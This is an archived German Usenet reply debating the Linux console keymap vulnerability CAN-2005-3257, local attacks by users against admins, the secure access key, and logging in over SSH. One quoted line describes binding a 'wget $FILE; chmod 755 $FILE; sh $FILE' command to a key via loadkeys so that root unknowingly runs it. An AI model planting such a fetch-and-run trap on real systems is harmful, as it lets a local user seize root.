Re: CAN-2005-3257: Wie sicher ist Linux??
- From: "Peter J. Holzer" <hjp-usenet2@xxxxxx>
- Date: Sun, 4 Dec 2005 15:47:37 +0100
On 2005-12-04 11:46:21 +0100, Manuel Reimer wrote:
> Rudolf Polzer wrote:
> >»Manuel Reimer« <Manuel.Nulldevice@xxxxxxxxxxxxxx> wrote:
> >>Rudolf Polzer wrote:
> >>
> >>>http://www.securityfocus.com/bid/15122
> >>>
> >>>Auch die Textkonsole ist offenbar nicht dafür vorgesehen, von
> >>>verschiedenen Usern benutzt zu werden.
> >>>
> >>>Das Problem mag albern erscheinen, ist aber in Rechnerpools durchaus
> >>>relevant.
> >>
> >>Ist für mich garnicht albern.
> >Für die Linux-Entwickler schon. Wenn man sowas bringt, heißt es immer
> >"wer lokal am Rechner sitzt, kann eh tun, was er will". Aber
> >"Rechner aufschrauben, BIOS-Reset-Jumper setzen, einschalten, Knoppix
> >booten" ist doch ein wenig mehr Aufwand als "auf tty1 gehen, ominösen
> >loadkeys-Befehl eingeben, gehen, abwarten".
>
> Das ist *falsch*.
Wenn Du jetzt noch dazuschriebst, was falsch ist, bzw. warum Du glaubst,
dass das was Du im folgenden geschrieben hast, obiges widerlegt, wäre
ich Dir sehr verbunden. Ich sehe das nämlich keinen Zusammenhang.
> Alles was es braucht ist eine Lücke im Browser, Mailprogramm,
> IRC-Client, CVS-Client, Newsreader, FTP-Client, ..... die zum
> Buffer-Overflow führt und das Ausführen von Code mit den Rechten des
> Benutzers ermöglicht. Sowas hat es schon des öfteren gegeben und ich
> bin mir sicher das es nur eine Frage der Zeit ist bis in irgendeinem
> Client- oder Serverprogramm mal wieder so eine Lücke auftaucht.
Dann kann ich aber gleich beliebigen Code ausführen und muss nicht die
Keymap umdefinieren und hoffen, dass der User danach die richtige Taste
drückt.
Das ist definitiv eine Attacke, die lokale User gegen den eigenen Admin
fahren.
> Irgendjemand hier der sicherheitshalber seinen Apache als "nobody"
> laufen lässt? Solche Lücken machen solche Maßnahmen sinnlos!
Wie bitte? Nobody hat hoffentlich keinen Lesezugriff auf irgendwelche
virtuellen Terminals.
> Mal ehrlich, wer rebootet seinen Server wenn er eine Wartungsarbeit
> als root machen muss?
Ehrlich gesagt, logge ich mich in dem Fall auch nur ganz selten auf der
Konsole ein, und User haben im Rechnerraum ohnehin nichts verloren.
> Dank des praktischen Tools "loadkeys" ist alles was der Angreifer tun
> muss ein "wget $FILE; chmod 755 $FILE; sh $FILE" auf eine Taste zu
> werfen. Das ganze könnte z.B. praktischerweise in einige
> Config-Dateien wie ".xsession"
Da sollte der User keinen Zugriff auf ein VT haben.
> oder ".bash_profile" des angemeldeten Benutzers geschrieben werden.
Da schon, wenn er sich auf einem VT einloggt.
> Die Chance, das sich jetzt irgendwann mal root auf der Maschine
> einloggt, nachdem sich der Benutzer mit dem "verseuchten Profil"
> eingeloggt hat, ist IMO garnicht mal so schlecht.
Eigentlich sehe ich nicht wirklich einen Grund, warum sich ein User auf
einem VT einloggen sollte, wenn der Rechner einen X-Server hat, aber das
ist wohl Geschmackssache.
> Wenn Debian einen hat, dann habe ich als Nutzer einer anderen
> Distribution relativ wenig davon.
http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=334113;msg=20
> >Aber vielleicht kommt in drei Jahren endlich die "echte" SAK, die
> >dann:
> >- alle Prozesse auf dem aktuellen TTY killt
> >- Keyboardlayout zurücksetzt
> >- Bildschirmmodus zurücksetzt
>
> Was ist eine "SAK"?
"Secure Access Key". Definition siehe oben.
> Sind drei Jahre nicht sehr hoch gegriffen?
[ ] Du erkennst Sarkasmus, wenn er dich in den Hintern beißt.
Der Bug ist seit mindestens 8 Jahren bekannt. An Diskussionen über einen
SAK für Linux erinnere ich mich ungefähr genauso lange.
> >Das zusammen mit dem "setkeys-needs-root"-Patch wäre endlich eine
> >sichere Konsole. Bis dahin ist die einzige sichere Methode, sich von
> >einem vertrauenswürdigen Rechner (evtl. ein kleines Notebook, Palm
> >o.ä.?) aus übers Netz einzuloggen. Oder halt der Reboot.
>
> Genau. Jetzt reboote ich jedes mal wenn ich ein Update fahren oder ein
> neues Paket einspielen will...
Wenn ich einen Update fahren oder ein neues Paket einspielen will, logge
ich mich nie auf der Konsole ein. Das mache ich über SSH. Ich werde mich
doch nicht in den kalten und lauten Rechnerraum stellen und mich mit dem
grausamen Keyboard einer Rackmount-Konsole abquälen. Das mache ich nur,
wenn ich physisch was am Rechner machen muss.
> Und das jetzt wo ich mich gerade an den
> großen Vorzug, eben nicht wegen jeder Kleinigkeit rebooten zu müssen,
> gewöhnt habe.
Dann kannst Du Dich jetzt auch an den Vorzug gewöhnen, dass Du nicht mal
zum Rechner hingehen musst :-)
> >>>Der einzige Workaround besteht darin, sich nicht ohne Reboot lokal
> >>>als root einzuloggen.
> >>
> >>Inakzeptabel...
> >Es gäbe für so Fälle zwar eine "special attention key", die auch
> >nicht umgemappt werden kann - sie killt aber alle Prozesse auf dem
> >laufenden VT und hat gerade auf tty1 oder auf X11 üble Nebeneffekte
> >(macht man das auf dem X11-Terminal, gibt's bis Reboot nie wieder
> >einen Textmodus). Allerdings setzt die SAK nicht die Keymap zurück,
> >und selbst wenn es die SAK tun würde, kann auch ein User auf einem
> >anderen tty die Keymap ändern (da es nur eine globale gibt).
>
> Wo ist dann der Sinn des ganzen?
Prozesse, die auf diesem Terminal laufen und z.B. einen login-Prozess
simulieren, loszuwerden.
> >>Wenn man unter X das Root-Passwort mitlesen kann sind die ganzen
> >>"grafischen Tools" die das Root-Passwort wollen für mich nicht mehr
> >>relevant.
> >Es können genau die Programme das root-Passwort mitlesen, die auch
> >nach einem sudo -s oder su - deine Rootshell übernehmen könnten.
> >Nämlich die unter deiner UID. Da ist X11 nicht unbedingt als
> >unsicher einzustufen.
>
> Wenn wie oben erwähnt ein Programm eine Lücke aufweist, die
> Codeausführung mit Benutzerrechten ermöglicht, dann eben schon.
Dann können sie es aber ebenso bei sudo oder su. Was Rudolf sagen
wollte, ist dass X11 da keine zusätzliche Sicherheitslücke schafft.
> Ich hasse Wind**s aber ich unterstelle jetzt einfach mal das ich dort
> sicher sein kann das kein Programm mitliest, wenn ich mich als
> Benutzer auslogge und als Administrator wieder einlogge.
Das geht allerdings unter Linux auch nicht.
hp
--
This is not a signature
.
- Follow-Ups:
- Re: CAN-2005-3257: Wie sicher ist Linux??
- From: Manuel Reimer
- Re: CAN-2005-3257: Wie sicher ist Linux??
- Prev by Date: Re: Suse 9: Neuling: komisches Fenster
- Next by Date: Re: Suse 9: Neuling: komisches Fenster
- Previous by thread: Re: CAN-2005-3257: Wie sicher ist Linux?? (was: Re: Wie sicher ist X?)
- Next by thread: Re: CAN-2005-3257: Wie sicher ist Linux??
- Index(es):
Relevant Pages
|
Loading
